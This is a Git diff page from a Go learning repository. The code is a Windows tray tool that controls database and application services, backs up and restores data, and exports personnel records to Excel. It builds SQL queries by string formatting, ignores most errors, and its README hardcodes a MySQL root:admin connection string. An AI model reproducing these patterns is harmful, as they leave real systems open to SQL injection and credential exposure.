f.SetCellValue(sheetName, getColumnRowName(columnName, rowIndex+2), row[columnIndex])
}
}
f.SetActiveSheet(sheetIndex)
return f, nil
}
// getColumnName 生成列名
// Excel的列名规则是从A-Z往后排;超过Z以后用两个字母表示,比如AA,AB,AC;两个字母不够以后用三个字母表示,比如AAA,AAB,AAC
// 这里做数字到列名的映射:0 -> A, 1 -> B, 2 -> C
// maxColumnRowNameLen 表示名称框的最大长度,假设数据是10行,1000列,则最后一个名称框是J1000(如果有表头,则是J1001),是4位
// 这里根据 maxColumnRowNameLen 生成切片,后面生成名称框的时候可以复用这个切片,而无需扩容
func getColumnName(column, maxColumnRowNameLen int) []byte {
const A = 'A'
if column < maxCharCount {
// 第一次就分配好切片的容量
slice := make([]byte, 0, maxColumnRowNameLen)
return append(slice, byte(A+column))
} else {
// 递归生成类似AA,AB,AAA,AAB这种形式的列名
return append(getColumnName(column/maxCharCount-1, maxColumnRowNameLen), byte(A+column%maxCharCount))
}
}
// getColumnRowName 生成名称框
// Excel的名称框是用A1,A2,B1,B2来表示的,这里需要传入前一步生成的列名切片,然后直接加上行索引来生成名称框,就无需每次分配内存
func getColumnRowName(columnName []byte, rowIndex int) (columnRowName string) {
l := len(columnName)
columnName = strconv.AppendInt(columnName, int64(rowIndex), 10)
columnRowName = string(columnName)
// 将列名恢复回去
columnName = columnName[:l]
return
}
// QueryB01 获取机构树信息
func QueryB01(db *sql.DB) []*dept {
rows, _ := db.Query(sqlB01)
defer rows.Close()
var b0111, b0121, b0101 string
depts := make([]*dept, 0)
for rows.Next() {
_ = rows.Scan(&b0111, &b0121, &b0101)
depts = append(depts, &dept{
Id: b0111,
Pid: b0121,
Name: b0101,
Child: make([]*dept, 0),
})
}
return depts
}
// QueryA01 获取人员信息
func QueryA01(db *sql.DB, codes string, types []string, b0111 string, allObj *[][]interface{}) {
var sqlStr string
if typeStr == "1" {
sqlStr = fmt.Sprintf(sqlA01A0279, codes, b0111, b0111)
} else {
sqlStr = fmt.Sprintf(sqlA01A0281, codes, b0111, b0111)
}
rows, _ := db.Query(sqlStr)
defer rows.Close()
columns, _ := rows.Columns()
columnsLen := len(columns)
scanArgs := make([]interface{}, columnsLen)
values := make([]interface{}, columnsLen)
for i := range values {
scanArgs[i] = &values[i]
}
for rows.Next() {
_ = rows.Scan(scanArgs...)
valuer := make([]interface{}, columnsLen)
setValueStr(values, types, valuer)
*allObj = append(*allObj, valuer)
}
}
func setValueStr(values []interface{}, types []string, valuer []interface{}) {
for i, col := range values {
if col != nil {
s := string(col.([]byte))
if types[i] == NULL {
valuer[i] = s
} else if types[i] == DATE {
valuer[i] = s[0:4] + DIAN + s[4:6]
} else {
valuer[i] = CodeValueMap[types[i]+s]
}
} else {
valuer[i] = NULL
}
}
}
// 获取表数据
func QueryMap(db *sql.DB, sqlStr string, m map[string]string) {
rows, _ := db.Query(sqlStr)
defer rows.Close()
columns, _ := rows.Columns()
for rows.Next() {
_ = rows.Scan(&columns[0], &columns[1])
m[columns[0]] = columns[1]
}
}
func has(v1 dept, vs []*dept) bool {
var has bool
has = false
for _, v2 := range vs {
v3 := *v2
if v1.Id == v3.Pid {
has = true
break
}
}
return has
}
// makeTree 生成机构树对象
func makeTree(vs []*dept, node *dept) {
childs := findChild(node, vs)
for _, child := range childs {
node.Child = append(node.Child, child)
if has(*child, vs) {
makeTree(vs, child)
}
}
}
func findChild(v *dept, vs []*dept) (ret []*dept) {
ret = make([]*dept, 0)
for _, v2 := range vs {
if v.Id == v2.Pid {
ret = append(ret, v2)
}
}
return
}
// 数字转字母
func toCharStr(i int) string {
return string(rune('A' - 1 + i))
}
type YrYh struct {
Name string `json:"name"`
Code string `json:"code"`
Type string `json:"type"`
Width float64 `json:"width"`
}
const yryh = `[
{"name":"姓名","code":"a01.a0101","type":"","width":11},
{"name":"性别","code":"a01.a0104","type":"GB2261","width":8},
{"name":"民族","code":"a01.a0117","type":"GB3304","width":8},
{"name":"出生日期","code":"a01.a0107","type":"DATE","width":12},
{"name":"参加工作时间","code":"a01.a0134","type":"DATE","width":13},
{"name":"入党时间","code":"a01.a0140","type":"","width":12},
{"name":"工作单位及职务全称","code":"a01.a0192a","type":"","width":20},
{"name":"职务层次","code":"a01.a0221","type":"ZB09","width":12},
{"name":"任职务层次时间","code":"a01.a0288","type":"DATE","width":15},
{"name":"职级","code":"a01.a0192e","type":"ZB148","width":12},
{"name":"任职级时间","code":"a01.a0192c","type":"DATE","width":12},
{"name":"任相当层次职务职级时间","code":"a01.a0192x","type":"DATE","width":15},
{"name":"最高学历","code":"a01.zgxl","type":"","width":15},
{"name":"籍贯","code":"a01.a0111","type":"ZB01","width":12}
]`
const DATE = "DATE"
const NULL = ""
const DIAN = "."
// 树结构
type dept struct {
Id string `json:"id"`
Pid string `json:"pid"`
Name string `json:"name"`
Child []*dept `json:"child"`
}

74
golang_learn/data_func/go_to_windows/winNotifyIcon.go

@ -0,0 +1,74 @@
package main
import (
"github.com/lxn/walk"
"log"
)
func (mw *myApp) AddNotifyIcon() {
var err error
mw.ni, err = walk.NewNotifyIcon(mw)
checkError(err)
mw.ni.SetVisible(true)
icon, err := walk.NewIconFromResourceId(3)
checkError(err)
mw.SetIcon(icon)
mw.ni.SetIcon(icon)
sjMenu := mw.addMenu("数据库")
service1.menuStart = mw.addAction(sjMenu, "启动")
service1.menuStop = mw.addAction(sjMenu, "停止")
service1.menuStart.Triggered().Attach(func() {
startService(service1)
})
service1.menuStop.Triggered().Attach(func() {
stopService(service1)
})
cxMenu := mw.addMenu("应用")
service3.menuStart = mw.addAction(cxMenu, "启动")
service3.menuStop = mw.addAction(cxMenu, "停止")
service3.menuStart.Triggered().Attach(func() {
startService(service3)
})
service3.menuStop.Triggered().Attach(func() {
stopService(service3)
})
mw.addAction(nil, "exit").Triggered().Attach(func() {
mw.ni.Dispose()
mw.Dispose()
walk.App().Exit(0)
})
}
func (mw *myApp) addMenu(name string) *walk.Menu {
helpMenu, err := walk.NewMenu()
checkError(err)
help, err := mw.ni.ContextMenu().Actions().AddMenu(helpMenu)
checkError(err)
help.SetText(name)
return helpMenu
}
func (mw *myApp) addAction(menu *walk.Menu, name string) *walk.Action {
action := walk.NewAction()
action.SetText(name)
if menu != nil {
menu.Actions().Add(action)
} else {
mw.ni.ContextMenu().Actions().Add(action)
}
return action
}
func checkError(err error) {
if err != nil {
log.Fatal(err)
}
}

297
golang_learn/data_func/go_to_windows/winStruct.go

@ -6,15 +6,13 @@ import (
) )
// 说明 // 说明
var Info = strings.Join([]string{ var AppInfo = strings.Join([]string{
"1. 启动、终止并设置 应用和数据库 服务", "1. 启动、终止并设置 应用和数据库 服务",
"2. 清除 浏览器和应用 缓存", "2. 清除 浏览器和应用 缓存",
"3. 设置 应用和数据库 内存大小", "3. 设置 应用和数据库 内存大小",
"4. 实现 数据库索引 重新构建", "4. 实现 数据库索引 重新构建",
"5. 实现 数据备份 压缩备份库文件与备份照片", "5. 实现 数据备份 压缩备份库文件与备份照片",
"6. 【待完善】数据还原", // "实现 数据还原 执行还原库文件与还原照片", //"6. 实现 数据还原 执行还原库文件与还原照片",
"7. 实现 特殊字符串处理,由于 ”&#“ 导致无法导入问题的解决",
"8. 实现 按照机构树前序遍历方式 导出表册",
fmt.Sprintf("版本:%s", Version)}, "\n") fmt.Sprintf("版本:%s", Version)}, "\n")
// 【废弃】基础库部分脚本(除 a01 和 b01) // 【废弃】基础库部分脚本(除 a01 和 b01)
@ -461,294 +459,3 @@ var DbIndex = []tabIdx{
{tabName: "J2108", idxName: "J2108_IDX_001", idxColumn: "UNITID"}, {tabName: "J2108", idxName: "J2108_IDX_001", idxColumn: "UNITID"},
{tabName: "J2108", idxName: "J2108_IDX_002", idxColumn: "TABLEID"}, {tabName: "J2108", idxName: "J2108_IDX_002", idxColumn: "TABLEID"},
} }
// 清除特殊字符串问题
type Tab struct {
name string
Cols []string
}
type Tabs struct {
Tab []Tab
}
// 批量处理主细表或描述拼接
type Sqls struct {
name string
Sql []string
}
type Funcs struct {
Sql []Sqls
}
func init() {
// 清除字段可能存储特殊字符串处理
tabs = Tabs{
Tab: []Tab{
{
name: "A01",
Cols: []string{
"A0101",
"A0102",
"A0104",
"A0107",
"A0111A",
"A0114A",
"A0115A",
"A0117",
"A0128",
"A0134",
"A0140",
"A0141",
"A0144",
"A3921",
"A3927",
"A0160",
"A0163",
"A0165",
"A0184",
"A0187A",
"A0192",
"A0192A",
"A0221",
"A0288",
"A0192E",
"A0192C",
"A0196",
"A0197",
"A0195",
"A1701",
"A14Z101",
"A15Z101",
"A0120",
"A0121",
"A0122",
"A2949",
"A0180",
"QRZXL",
"QRZXLXX",
"QRZXW",
"QRZXWXX",
"ZZXL",
"ZZXLXX",
"ZZXW",
"ZZXWXX",
"ZGXL",
"ZGXLXX",
"ZGXW",
"ZGXWXX",
"TCSJSHOW",
"TCFSSHOW",
},
},
{
name: "A02",
Cols: []string{
"A0201A",
"A0201B",
"A0201D",
"A0201E",
"A0215A",
"A0219",
"A0223",
"A0225",
"A0243",
"A0245",
"A0247",
"A0251B",
"A0255",
"A0265",
"A0267",
"A0272",
"A0281",
},
},
{
name: "A05",
Cols: []string{
"A0531",
"A0501B",
"A0504",
"A0511",
"A0517",
"A0524",
"A0526",
"A0528B",
"A0530",
"A0532",
},
},
{
name: "A06",
Cols: []string{
"A0601",
"A0602",
"A0604",
"A0607",
"A0611",
"A0699",
},
},
{
name: "A08",
Cols: []string{
"A0801A",
"A0801B",
"A0901A",
"A0901B",
"A0804",
"A0807",
"A0904",
"A0814",
"A0824",
"A0827",
"A0837",
"A0811",
"A0831",
"A0832",
"A0834",
"A0835",
"A0838",
"A0839",
"A0899",
},
},
{
name: "A14",
Cols: []string{
"A1404A",
"A1404B",
"A1407",
"A1411A",
"A1414",
"A1415",
"A1416",
"A1424",
"A1428",
},
},
{
name: "A15",
Cols: []string{
"A1517",
"A1521",
},
},
{
name: "A30",
Cols: []string{
"A3001",
"A3004",
"A3007A",
"A3038",
},
},
{
name: "A33",
Cols: []string{
"A3310",
"A3321",
"A3321C",
"A3321D",
"A3322",
"A3323",
"A3331",
"A3332",
"A3333",
"A3350",
"A3360",
"A3361",
"A3362",
"A3371",
"A3372",
"A3381",
"A3382",
"A3385",
"A3321A",
"A3321B",
"A3321E",
"A3321F",
"A3333A",
"A3333B",
},
},
{
name: "A36",
Cols: []string{
"A3601",
"A3604A",
"A3607",
"A3627",
"A3611",
"SORTID",
},
},
{
name: "A57",
Cols: []string{
"A5714",
},
},
{
name: "A99Z1",
Cols: []string{
"A99Z101",
"A99Z102",
"A99Z103",
"A99Z104",
"A99Z191",
"A99Z195",
},
},
{
name: "B01",
Cols: []string{
"B0101",
"B0104",
"B0114",
"B0117",
"B0124",
"B0127",
"B0131",
"B0194",
"B0227",
"B0232",
"B0233",
"B0236",
"B0234",
"B0150",
"B0183",
"B0185",
"B0164",
"B0167",
"B0268",
"B0269",
"B0238",
"B0239",
"B0180",
"SORTID",
},
},
},
}
// 批量处理功能脚本
funcs = Funcs{
Sql: []Sqls{
/*{
name: "职务层次及职级主细同步",
Sql: []string{
"update a01 set a0221='',a0288='' where not exists(select 1 from a05 where a01.a0000=a05.a0000 and a0524='1' and A0531='0')",
"update a01 set a0192e='',a0192c='' where not exists(select 1 from a05 where a01.a0000=a05.a0000 and a0524='1' and A0531='1')",
"update a01,a05 set a0221=A0501B,a0288=A0504 where a01.a0000=a05.a0000 and a0524='1' and A0531='0'",
"update a01,a05 set a0192e=A0501B,a0192c=A0504 where a01.a0000=a05.a0000 and a0524='1' and A0531='1'",
},
},
{
name: "拼接政治面貌信息",
Sql: []string{
"update a01 set a0140=concat(substr(a0144,1,4),'.',substr(a0144,5,2)) where a0141 in('01','02') and (a0144 is not null or a0144 <> '')",
"update a01 set a0140=concat('(',(select code_name from code_value where code_type='GB4762' and code_value=a0141),')') where a0141 in(select code_value from code_value where code_type='GB4762' and code_value not in ('01','02'))",
},
},*/
},
}
}

74
golang_learn/data_func/go_to_windows/winView.go

@ -5,6 +5,7 @@ import (
. "github.com/lxn/walk/declarative" . "github.com/lxn/walk/declarative"
"github.com/lxn/win" "github.com/lxn/win"
"log" "log"
"os"
) )
// 初始始化窗体 // 初始始化窗体
@ -21,88 +22,54 @@ func GetWindows() error {
MenuItems: []MenuItem{ MenuItems: []MenuItem{
Menu{ Menu{
Text: "&编辑", Text: "&编辑",
// Image: "./image/media.png",
Items: []MenuItem{ Items: []MenuItem{
Separator{}, Separator{},
Action{ Action{
// Image: "./image/qinghuancun.png",
Text: "清除缓存", Text: "清除缓存",
OnTriggered: clearAll, OnTriggered: clearAll,
}, },
Action{ Action{
// Image: "./image/beifen.png",
Text: "重构索引", Text: "重构索引",
OnTriggered: reDbIndex, OnTriggered: reDbIndex,
}, },
Action{ Action{
// Image: "./image/beifen.png",
Text: "数据备份", Text: "数据备份",
OnTriggered: dbBak, OnTriggered: dbBak,
}, },
//Action{
// // Image: "./image/huanyuan.png",
// Text: "数据还原",
// OnTriggered: reDbBak,
//},
Action{ Action{
// Image: "./image/qinghuancun.png", Text: "数据还原",
Text: "数据清洗", OnTriggered: reDbBak,
OnTriggered: clearData,
}, },
Action{ Action{
// Image: "./image/tuichu.png",
Text: "退出", Text: "退出",
OnTriggered: func() { OnTriggered: func() {
walk.App().Exit(0) OnExit()
}, },
}, },
}, },
}, },
Menu{ Menu{
Text: "&设置", Text: "&设置",
// Image: "./image/shezhi.png",
Items: []MenuItem{ Items: []MenuItem{
Separator{}, Separator{},
Action{ Action{
// Image: "./image/shujuku.png",
Text: "设置数据库内存", Text: "设置数据库内存",
OnTriggered: setDbSize, OnTriggered: setDbSize,
}, },
Action{ Action{
// Image: "./image/yingyong.png",
Text: "设置应用内存", Text: "设置应用内存",
OnTriggered: setServerSize, OnTriggered: setServerSize,
}, },
}, },
}, },
Menu{
Text: "&表册",
// Image: "./image/shezhi.png",
Items: []MenuItem{
Separator{},
Action{
// Image: "./image/shujuku.png",
Text: "按照职务输出生成(可能人员重复)",
OnTriggered: getMcByA0281,
},
Action{
// Image: "./image/yingyong.png",
Text: "按照主职务生成(可能人员丢失)",
OnTriggered: getMcByA0279,
},
},
},
Menu{ Menu{
Text: "&帮助", Text: "&帮助",
// Image: "./image/bangzhu.png",
Items: []MenuItem{ Items: []MenuItem{
Action{ Action{
// Image: "./image/guanyu.png",
Text: "关于", Text: "关于",
OnTriggered: app.aboutactionTriggered, OnTriggered: app.aboutactionTriggered,
}, },
/*Action{ /*Action{
// Image: "./image/yaoqiu.png",
Text: "要求", Text: "要求",
OnTriggered: app.aboutactionTriggered, OnTriggered: app.aboutactionTriggered,
},*/ },*/
@ -178,7 +145,7 @@ func GetWindows() error {
MinSize: Size{Width: 140, Height: 30}, MinSize: Size{Width: 140, Height: 30},
Text: "关闭本监控窗口", Text: "关闭本监控窗口",
OnClicked: func() { OnClicked: func() {
walk.App().Exit(0) OnExit()
}, },
}, },
}, },
@ -359,9 +326,8 @@ func (mw *myApp) RunAppSetingDialog(owner walk.Form, confirmCall func(*AppSeting
//数据还原设置 //数据还原设置
type DbBakSetings struct { type DbBakSetings struct {
*walk.MainWindow fileEdit *walk.TextEdit
searchBox *walk.LineEdit fileName string
path string
} }
// 运行 数据还原设置 Dialog // 运行 数据还原设置 Dialog
@ -372,7 +338,7 @@ func (mw *myApp) RunDbBakSetingDialog(owner walk.Form, confirmCall func(*DbBakSe
var acceptPB, cancelPB *walk.PushButton var acceptPB, cancelPB *walk.PushButton
seting = new(DbBakSetings) seting = new(DbBakSetings)
// 设置预定值 seting.fileName = ""
_, _ = Dialog{ _, _ = Dialog{
AssignTo: &dlg, AssignTo: &dlg,
@ -392,14 +358,18 @@ func (mw *myApp) RunDbBakSetingDialog(owner walk.Form, confirmCall func(*DbBakSe
GroupBox{ GroupBox{
Layout: HBox{}, Layout: HBox{},
Children: []Widget{ Children: []Widget{
LineEdit{ Label{Text: `请输入还原文件名称(如:2022122235133):`},
ReadOnly: true, TextEdit{AssignTo: &seting.fileEdit},
AssignTo: &seting.searchBox,
}, },
PushButton{
Text: "选择",
OnClicked: seting.selectFile,
}, },
GroupBox{
Layout: HBox{},
Children: []Widget{
Label{Text: `说明
1. 需要您选择还原的文件并且在触发恢复先提示是否进行备份选择是/按照选择文件进行解压覆盖
2. 请自行检查备份包的大小是否正常通常包大于400M
3. 备份时请确保服务正常启动`},
}, },
}, },
Composite{ Composite{
@ -416,6 +386,14 @@ func (mw *myApp) RunDbBakSetingDialog(owner walk.Form, confirmCall func(*DbBakSe
return return
} }
Info.Println(path + `\` + seting.fileEdit.Text() + `.gz`)
_, err := os.OpenFile(path+`\`+seting.fileEdit.Text()+`.gz`, os.O_RDWR, 0666)
if err != nil {
walk.MsgBox(app.mw, "错误", "无法打开文件。", walk.MsgBoxIconWarning)
return
}
seting.fileName = seting.fileEdit.Text()
// 关闭页面 // 关闭页面
dlg.Cancel() dlg.Cancel()

25
golang_learn/data_func/go_to_windows/说明.md

@ -0,0 +1,25 @@
# 应用检测软件
## 说明:
* 当前存在两个分支
* master 为 全国公务员系统工具
* hy_YingJiGuanLiBu 为 消防干部系统工具
> 两部分差异部分
> `main.go``winStruct.go`
> ``` go
> var TableName // 变量值
> var Version // 变量值
> var epsoft1 // 变量值
> var epsoft2 // 变量值
> var service1 // 变量值
> var service3 // 变量值
> // 方法内容 数据链接
> db, _ := sql.Open("mysql", "root:admin@tcp(127.0.0.1:35019)/hy_yjglb?charset=utf8")
> // 方法内容 实现打包内容范围
> // 【sql方式】统计库部分
> // 【sql方式】基础库部分
> // 备份压缩文件
> ```

BIN
golang_learn/data_func/go_to_windows/运行 UPX Shell.lnk

Binary file not shown.

1
golang_learn/go.mod

@ -11,6 +11,7 @@ require (
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394
github.com/bitly/go-simplejson v0.5.0 github.com/bitly/go-simplejson v0.5.0
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869
github.com/braintree/manners v0.0.0-20160418043613-82a8879fc5fd
github.com/go-ini/ini v1.62.0 github.com/go-ini/ini v1.62.0
github.com/go-sql-driver/mysql v1.6.0 github.com/go-sql-driver/mysql v1.6.0
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b

2
golang_learn/go.sum

@ -69,6 +69,8 @@ github.com/bitly/go-simplejson v0.5.0/go.mod h1:cXHtHw4XUPsvGaxgjIAn8PhEWG9NfngE
github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM= github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM=
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY=
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
github.com/braintree/manners v0.0.0-20160418043613-82a8879fc5fd h1:ePesaBzdTmoMQjwqRCLP2jY+jjWMBpwws/LEQdt1fMM=
github.com/braintree/manners v0.0.0-20160418043613-82a8879fc5fd/go.mod h1:TNehV1AhBwtT7Bd+rh8G6MoGDbBLNs/sKdk3nvr4Yzg=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=

Loading…
Cancel
Save